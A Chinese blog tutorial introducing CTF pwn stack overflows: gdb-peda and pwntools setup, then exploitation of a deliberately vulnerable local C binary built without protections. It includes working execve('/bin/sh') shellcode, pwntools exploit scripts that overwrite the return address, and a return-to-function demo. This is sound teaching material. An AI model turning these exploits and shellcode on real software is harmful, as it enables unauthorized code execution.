美文网首页CTF-PWNCTF
入坑 CTF-PWN 之 栈溢出入门

入坑 CTF-PWN 之 栈溢出入门

作者: Nevv | 来源:发表于2018-03-20 16:27 被阅读86次

     好久没看过pwn题目了,写一个入门的教程顺便复习了:

    1. 安装gdb-peda

    • git clone https://github.com/longld/peda.git ~/peda
    • echo "source ~/peda/peda.py" >> ~/.gdbinit
    • echo "DONE! debug your program with gdb and enjoy"

    2. 一些比较有用的技巧

    • print system
      直接输出__libc_system的地址 , 用以验证信息泄露以及system地址计算的正确性

    • checksec 检查该二进制的一些安全选项是否打开

    • shellcode 直接生成shellcode

    • attach pid , 在利用脚本connect到socat上之后,socat会fork出一个进程,gdb attach上这个进程,即可以进行远程调试了

    • socat TCP4-LISTEN:12345,fork EXEC:./1 本机调试


    3. pwntools

    1. 安装
    git clone https://github.com/Gallopsled/pwntools
    cd pwntools
    python setup.py install
    
    • 或者使用
      pip install pwn
    1. 基本的模板
    from pwn import *
        context.log\_level = 'debug' #debug模式,可输出详细信息
        conn = remote('127.0.0.1' , 12345) #通过socat将二进制文件运行在某个端口之后,可使用本语句建立连接,易于在本地与远程之间转换。
        print str(pwnlib.util.proc.pidof('pwn')[0]) #这两条便于在gdb下迅速attach 上对应的pid
        raw_input('continue')
        conn.recvuntil('Welcome') #两种不同的recv
        conn.recv(2048)
        shellcode = p32(0x0804a028) #用于将数字变成\x28\xa0\x04\x08的形式
        conn.sendline(shellcode) #向程序发送信息,使用sendline而非send是个好习惯
        conn.interactive() #拿到shell之后,用此进行交互
    
    
    from pwn import *
        pwn=remote("127.0.0.1","12345")
        payload='A'*136 + p64(0x00000000004005bd)
        #pwn.recvuntil('Welcome') #两种不同的recv
        pwn.sendline(payload)
        pwn.interactive()
    
    1. 本地调试
    • socat tcp-listen:12345, fork EXEC:./pwn

    GDB 命令

    1. X 命令
    o - octal
    x - hexadecimal
    d - decimal
    u - unsigned decimal
    t - binary
    f - floating point
    a - address
    c - char
    s - string
    i - instruction
    
    2. 指定大小
    b - byte
    h - halfword (16-bit value)
    w - word (32-bit value)
    g - giant word (64-bit value)
    
    1. 基本栈溢出
    // c语言源码
    #include <stdio.h>
    #include <unistd.h>
    
    int vuln() {
     char buf[80];
     int r;
     r = read(0, buf, 400);
     printf("\nRead %d bytes. buf is %s\n", r, buf);
     puts("No shell for you :(");
     return 0;
    }
    
    int main(int argc, char *argv[]) {
     printf("Try to exec /bin/sh");
     vuln();
     return 0;
    }
     
     /* Compile: gcc -fno-stack-protector -z execstack 1.c -o 1 */
     /*  Disable ASLR: echo 0 > /proc/sys/kerne/randomize_va_space */
    
    
    root@kali:~/桌面# checksec 1
    [*] '/root/\xe6\xa1\x8c\xe9\x9d\xa2/1'
        Arch:     amd64-64-little
        RELRO:    No RELRO
        Stack:    No canary found
        NX:       NX disabled
        PIE:      No PIE (0x400000)
    
    

    当read()将400字节复制到一个80字节的buffer时,显然在vuln()中存在缓冲区溢出弱点。

    因此从技术角度看,如果我们将400个字节传递到其中,我们应该可以溢出缓冲区并用我们的payload覆盖RIP

    • 我们首先使用gdb-peda
    gdb
    gdb-peda$ file 1 
    

    python -c "'a'*400" > in.txt

    • 然后在运行的时候使用
      gdb-peda$ r < in.txt

    真正的目标是找到覆盖了RIP的偏移(带有一个非标准地址)。我们可以使用一种cyclic模板找到这个偏移:

    gdb-peda$ pattern_create 400 in.txt
    Writing pattern of 400 chars to filename "in.txt"
    gdb-peda$ r  < in.txt
    
    

     然后我们查看此时的栈顶,因为我们是在栈中覆盖掉了vuln()函数的返回地址,此时这个返回地址就是$rsp(栈顶指针),栈的地址是从高地址向低地址增长的,大概如下图所示:

    低    ->|-----------------|
          | 全局量(所有已初始化量 .data, |
          | 未初始化量 .bss )       |
      堆起始->|-----------------|
          |    堆向高地址增长      |
          |                 |
          |                 |
          |     自由空间        |
          |                 |
          |                 |
          |    栈向低地址增长      |
    高 栈起始->|-----------------| 
    

    查看此时的rsp:

    x/wx $rsp
    0x7fffffffe1d8: 0x41413741
    

    查看此时偏移:

    gdb-peda$ pattern_offset 0x41413741
    1094793025 found at offset: 104
    

    因为该程序没有NX或stack canaries保护机制,所以我们可以直接在栈上编写我们的shellcode然后返回到shellcode上。
    我们将通过一个环境变量把shellcode存储在栈中并用getenvaddr在栈上找到其地址.

    export PWN=`python -c 'print "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"'`
    
    /*
    getenvaddr.c
    */
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    
    int main(int argc, char *argv[]) {
        char *ptr;
    
        if(argc < 3) {
            printf("Usage: %s <environment variable> <target program name>\n", argv[0]);
            exit(0);
        }
        ptr = getenv(argv[1]); /* get env var location */
        ptr += (strlen(argv[0]) - strlen(argv[2]))*2; /* adjust for program name */
        printf("%s will be at %p\n", argv[1], ptr);
    }
    
    
    

    执行: 查看PWN变量在内存中的位置

    root@kali:~/桌面# ./getenvaddr PWN ./1
    PWN will be at 0x7fff203f4e4f
    

    exp:

    from pwn import *
    pwn=remote("127.0.0.1","12345")
    payload='A'*104 + p64(0x00007fff203f4e4f)  //这里跟你想执行的shellcode
    pwn.sendline(payload)
    pwn.interactive()
    

    这里为了方便演示,我在源码里写了一个flag函数,让调用完vuln函数后返回到flag函数去执行

    #include <stdio.h>
    #include <unistd.h>
    
    int vuln() {
     char buf[80];
     gets(buf);
     return 0;
    }
    
    int flag(){
      printf("you got the flag!");
      return 0;
    }
    int main(int argc, char *argv[]) {
     vuln();
     return 0;
    }
    

    查看main函数汇编地址

    gdb-peda$ disas main 
    Dump of assembler code for function main:
       0x00000000004005da <+0>: push   rbp
       0x00000000004005db <+1>: mov    rbp,rsp
       0x00000000004005de <+4>: sub    rsp,0x10
       0x00000000004005e2 <+8>: mov    DWORD PTR [rbp-0x4],edi
       0x00000000004005e5 <+11>:    mov    QWORD PTR [rbp-0x10],rsi
       0x00000000004005e9 <+15>:    mov    edi,0x4006d5
       0x00000000004005ee <+20>:    mov    eax,0x0
       0x00000000004005f3 <+25>:    call   0x400440 <printf@plt>
       0x00000000004005f8 <+30>:    mov    eax,0x0
       0x00000000004005fd <+35>:    call   0x400576 <vuln>
       0x0000000000400602 <+40>:    mov    eax,0x0
       0x0000000000400607 <+45>:    leave  
       0x0000000000400608 <+46>:    ret    
    End of assembler dump.
    
    

    查看flag函数地址

    gdb-peda$ disas flag
    Dump of assembler code for function flag:
       0x00000000004005c0 <+0>: push   rbp
       0x00000000004005c1 <+1>: mov    rbp,rsp
       0x00000000004005c4 <+4>: mov    edi,0x4006c3
       0x00000000004005c9 <+9>: mov    eax,0x0
       0x00000000004005ce <+14>:    call   0x400440 <printf@plt>
       0x00000000004005d3 <+19>:    mov    eax,0x0
       0x00000000004005d8 <+24>:    pop    rbp
       0x00000000004005d9 <+25>:    ret    
    End of assembler dump.
    
    

    查看call vuln函数执行时候栈

    0000| 0x7fffffffde58 --> 0x400602 (<main+40>:   mov    eax,0x0)
    0008| 0x7fffffffde60 --> 0x7fffffffdf58 --> 0x7fffffffe2cc ("/home/alex/Desktop/1")
    0016| 0x7fffffffde68 --> 0x100000000 
    0024| 0x7fffffffde70 --> 0x400610 (<__libc_csu_init>:   push   r15)
    0032| 0x7fffffffde78 --> 0x7ffff7a2e830 (<__libc_start_main+240>:   mov    edi,eax)
    0040| 0x7fffffffde80 --> 0x0 
    0048| 0x7fffffffde88 --> 0x7fffffffdf58 --> 0x7fffffffe2cc ("/home/alex/Desktop/1")
    0056| 0x7fffffffde90 --> 0x100000000 
    

    查看为变量赋值后栈的结构

    0x400587 <vuln+17>: mov    rsi,rax
       0x40058a <vuln+20>:  mov    edi,0x0
       0x40058f <vuln+25>:  call   0x400450 <read@plt>
    => 0x400594 <vuln+30>:  mov    DWORD PTR [rbp-0x4],eax
       0x400597 <vuln+33>:  lea    rdx,[rbp-0x60]
       0x40059b <vuln+37>:  mov    eax,DWORD PTR [rbp-0x4]
       0x40059e <vuln+40>:  mov    esi,eax
       0x4005a0 <vuln+42>:  mov    edi,0x400694
    
    
    gdb-peda$ stack 50
    0000| 0x7fffffffddf0 ('A' <repeats 104 times>, "\300\005@")
    0008| 0x7fffffffddf8 ('A' <repeats 96 times>, "\300\005@")
    0016| 0x7fffffffde00 ('A' <repeats 88 times>, "\300\005@")
    0024| 0x7fffffffde08 ('A' <repeats 80 times>, "\300\005@")
    0032| 0x7fffffffde10 ('A' <repeats 72 times>, "\300\005@")
    0040| 0x7fffffffde18 ('A' <repeats 64 times>, "\300\005@")
    0048| 0x7fffffffde20 ('A' <repeats 56 times>, "\300\005@")
    0056| 0x7fffffffde28 ('A' <repeats 48 times>, "\300\005@")
    0064| 0x7fffffffde30 ('A' <repeats 40 times>, "\300\005@")
    0072| 0x7fffffffde38 ('A' <repeats 32 times>, "\300\005@")
    0080| 0x7fffffffde40 ('A' <repeats 24 times>, "\300\005@")
    0088| 0x7fffffffde48 ('A' <repeats 16 times>, "\300\005@")
    0096| 0x7fffffffde50 ("AAAAAAAA\300\005@")
    0104| 0x7fffffffde58 --> 0x4005c0 (<flag>:  push   rbp) 
    // 这里我们清晰地看到vuln函数的返回地址已经变成了flag函数的地址,这样在返回
    // 后rsp会出栈赋值给rip,然后执行flag函数
    
    

    【参考链接】

    相关文章

      网友评论

        本文标题:入坑 CTF-PWN 之 栈溢出入门

        本文链接:https://www.haomeiwen.com/subject/reybqftx.html